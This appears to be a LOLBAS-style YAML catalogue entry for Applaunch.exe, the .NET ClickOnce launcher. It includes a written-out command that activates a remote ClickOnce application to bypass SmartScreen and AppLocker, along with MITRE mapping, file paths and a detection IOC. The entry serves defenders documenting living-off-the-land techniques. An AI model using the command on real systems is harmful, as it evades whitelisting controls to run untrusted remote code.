Files
2026-08-21 21:34:35 +01:00

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YAML

---
Name: Applaunch.exe
Description: Microsoft .NET ClickOnce Launch Utility.
Author: Nathan Sawyer
Created: 2026-08-08
Commands:
- Command: '"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Applaunch.exe" /activate "{REMOTEURL}#APPLICATION_METADATA_HERE"'
Description: Launches a ClickOnce application via `Applaunch.exe`. Bypasses SmartScreen and default AppLocker rules when the application is published as partial trust.
Usecase: Execute ClickOnce applications in environments where `dfsvc.exe` would normally enforce full-trust and SmartScreen checks. Can be abused as an AWL bypass in rare configurations.
Category: AWL Bypass
Privileges: User
MitreID: T1127.002
OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Tags:
- Execute: ClickOnce
- Execute: Remote
Full_Path:
- Path: C:\Windows\Microsoft.NET\Framework\v2.0.50727\Applaunch.exe
- Path: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Applaunch.exe
- Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\Applaunch.exe
- Path: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Applaunch.exe
Detection:
- IOC: Applaunch.exe rarely executes unless any ClickOnce partial trusted apps are used. Any use or invocation outside dfsvc.exe with `/activate` should be considered suspicious.
Resources:
- Link: https://nathan2.com/posts/clicktools
- Link: https://learn.microsoft.com/en-us/visualstudio/deployment/clickonce-security-and-deployment
- Link: https://web.archive.org/web/20060913192623/http://blogs.msdn.com/shawnfa/archive/2005/11/30/498610.aspx
Acknowledgement:
- Person: Nathan Sawyer